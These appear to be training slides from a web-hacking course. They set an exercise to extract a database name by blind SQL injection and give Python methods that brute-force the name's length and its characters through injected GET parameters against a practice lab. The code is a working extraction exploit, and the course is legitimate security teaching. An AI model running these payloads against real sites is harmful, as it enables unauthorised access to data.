Advanced SQL Injection

Automatic Blind SQL Injection script

Blind SQL Injection

- Write a Python/PHP/etc. script to extract current database name using Blind SQL Injection
- You can use SQLi Labs Blind SQL Injection lesson to test your script

Blind SQL Injection - Solution

- To solve this assignment you need to find two things:
  - Database length ⇒ *and+length(database())=LENGTH*
  - Database name ⇒ *and+substring(database(),CHAR_INDEX,1)="CHAR"*
- In addition to these two queries we also need to know whether our queries are executed or not
  - In Lesson 8 we figure this out using the "*You are in.....*" message in the page which means query result is true and we the length or name correctly


```
def get_db(self):
    db_length = self.get_db_length()
    db_name = ""
    for i in range(1, db_length+1):
        for char in chars:
            payload = "'+and+substring(database(),%d,1)=\"%s\"--+" % (i, char)
            res = requests.get(self.url + payload )
            if self.is_request_successful(res.content):
                    db_name += char
                    self.echo("database name", db_name)
                    break
            else:
                continue
    return db_name
```

```
def get_db_length(self):
    i = 1
    while True:
        res = requests.get(self.url + "'+and+length(database())=%s--+" % str(i))
        self.echo("database length", str(i))
        if self.is_request_successful(res.content):
            self.echo("database length", str(i))
            print "\r\n"
            return i
        i = i + 1
```

Blind SQL Injection - Solution - Contd.

- You can download the whole script from here:
  - https://exdemy.com/advanced-web-hacking/attachment/chapter01-blind-SQLi-injector.py

ZDResearch Advanced Web Hacking

ZDResearch

www.zdresearch.com